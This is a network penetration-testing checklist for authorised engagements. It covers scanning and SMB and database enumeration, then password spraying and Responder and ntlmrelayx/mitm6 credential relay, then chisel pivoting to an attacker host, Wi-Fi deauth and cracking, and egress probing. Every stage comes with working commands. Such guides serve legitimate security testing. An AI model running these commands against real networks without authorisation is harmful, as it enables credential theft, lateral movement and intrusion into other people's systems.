☰   How to use this guide

A network pentest's real value isn't an open-port list — it's how far an attacker moves from one foothold: discovery → credential capture (Responder/relay) → lateral movement → segmentation break → critical asset. This guide turns every checklist line into how-to-test. External engagements prioritise exposed management interfaces, default creds and EOL services; internal engagements live in protocol attacks and segmentation.

TARGETS=scope.txt        # in-scope hosts/ranges (RoE-confirmed)
# Fast sweep then deep scan the live set
nmap -sn -iL $TARGETS -oA hosts        # host discovery
nmap -p- --min-rate 2000 -iL live.txt -oA allports
nmap -sCV -p <openports> -iL live.txt -oA services

0   Scoping & recon

Confirm scope, then map the perimeter (external) or the network layout (internal).

# External: ASN -> netblocks, DNS, zone transfer attempt
amass intel -asn <ASN> ; dnsrecon -d target.tld -t axfr
dig AXFR target.tld @ns1.target.tld          # zone transfer (should fail)
# OSINT exposed hosts
shodan search "org:Target" --fields ip_str,port

Scoping & recon — full coverage

1   Host discovery

Find live hosts — including those behind firewalls and IPv6 hosts that are often unfiltered.

nmap -sn 10.0.0.0/24                       # ICMP/ARP sweep (internal ARP is reliable)
nmap -PS21,22,80,443,445,3389 -sn -iL $TARGETS   # TCP ping to firewalled hosts
# IPv6 (often unfiltered on the LAN)
nmap -6 -sn fe80::/64 ; ping6 -c2 ff02::1%eth0

Host discovery — full coverage

2   Port scanning & service enumeration

Scan all 65535 TCP ports (not just top-1000), key UDP ports, versions and OS — and note firewall behaviour.

nmap -p- --min-rate 2000 -T4 <host> -oA full
nmap -sU --top-ports 50 <host>             # UDP: 53,69,123,161,500,1900,...
nmap -sCV -O -p <open> <host>              # version + scripts + OS

Port scanning & enumeration — full coverage

3   Vulnerability identification

Identify outdated/EOL services and known-exploitable vulns — and verify, don't trust scanner output.

nmap --script vuln -p <open> <host>
nuclei -l live.txt -t network/ -t http/cves/
# Verify the flagged ones manually (e.g. SMBv1/EternalBlue):
nmap --script smb-vuln-ms17-010 -p445 <host>

Vulnerability identification — full coverage

4   Service-specific checks

The bread and butter: per-service misconfigurations. SMB (null sessions, signing, shares), databases (no-auth Redis/Mongo), SNMP community strings, and more.

SMB — null sessions, signing & shares

# Enumerate + check signing + spider shares (NetExec / CrackMapExec)
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt     # SMB signing NOT required -> relayable
nxc smb <host> -u '' -p '' --shares                # null session + share access
enum4linux-ng -A <host>                             # users/groups/RID cycling

Databases & SNMP

redis-cli -h <host> ping                 # no-auth Redis -> full takeover/RCE via config
mongo --host <host> --eval 'db.adminCommand({listDatabases:1})'   # no-auth Mongo
snmpwalk -v2c -c public <host>           # default community -> device config/creds

Service-specific — full coverage

5   Credentials & brute force

Default creds, weak passwords (targeted, low-and-slow to avoid lockout), spraying, reused breach creds, and creds lying in configs/shares/SNMP.

# Password spray across SMB (one password, many users, avoid lockout)
nxc smb <dc> -u users.txt -p 'Spring2024!' --continue-on-success
# Targeted service brute (low-and-slow)
hydra -L users.txt -P small.txt ssh://<host> -t 4 -W 5

Credentials & brute force — full coverage

6   Network protocol & MITM attacks (internal)

Internal/on-LAN only. The bread-and-butter internal win: poison name resolution to capture hashes, then relay them.

# Capture NetNTLM hashes via LLMNR/NBT-NS/mDNS poisoning
responder -I eth0 -wd
# Relay to a host without SMB signing (after disabling Responder SMB/HTTP)
ntlmrelayx.py -tf relay.txt -smb2support -i
# IPv6 takeover (mitm6 -> DHCPv6 -> relay to LDAP)
mitm6 -d target.local & ntlmrelayx.py -6 -t ldaps://<dc> --delegate-access

Protocol & MITM attacks (internal) — full coverage

7   Exploitation

Verify confirmed vulns with controlled PoCs; capture proof; avoid destabilising production.

Exploitation — full coverage

8   Post-exploitation & pivoting

From a foothold: escalate, harvest creds, discover the internal network, and pivot — the part that proves real blast radius. Privesc/cred-harvest/lateral detail lives in the Red Team checklist.

# Pivot a SOCKS proxy through the foothold, then scan deeper segments
# (e.g. via an SSH tunnel or C2). Example with chisel:
chisel server -p 8000 --reverse        # attacker
chisel client <atk>:8000 R:socks       # foothold
proxychains nmap -sT -Pn <deeper-subnet>

Post-exploitation & pivoting — full coverage

9   Network devices / infrastructure

Routers, switches, firewalls and load balancers: exposed management, default creds, cleartext mgmt protocols and outdated firmware.

Network devices / infrastructure — full coverage

10   Wireless

If in scope: weak encryption, handshake capture/cracking, WPS, evil twin, enterprise EAP, and guest/corp isolation.

airmon-ng start wlan0 ; airodump-ng wlan0mon          # survey
airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon      # capture WPA2 handshake
aireplay-ng -0 5 -a <AP> -c <client> wlan0mon         # deauth to force handshake
hashcat -m 22000 cap.hc22000 rockyou.txt              # offline crack

Wireless — full coverage

11   Segmentation & egress testing

Prove (or break) zone isolation: can user reach server/management/PCI/OT zones, and can data leave (egress)?

# From each zone, test reachability to others + egress
nmap -Pn -p 22,445,3389,1433 <other-zone-host>
# Egress: can arbitrary ports leave?
for p in 53 80 443 4444 8080; do nc -zvw2 <external-ip> $p; done

Segmentation & egress — full coverage

✓   Coverage map & how to run it

Match the work to the engagement type: external focuses on the perimeter, internal on protocol attacks + lateral + segmentation.

Core principle: the story is discovery → credential capture (Responder/relay) → lateral movement → segmentation break → critical asset — not a flat list of open ports and CVEs. Tie every finding to blast radius and segmentation impact, and reference the Red Team checklist for the AD domain-domination chain. Tick a box only when you've actually run the test.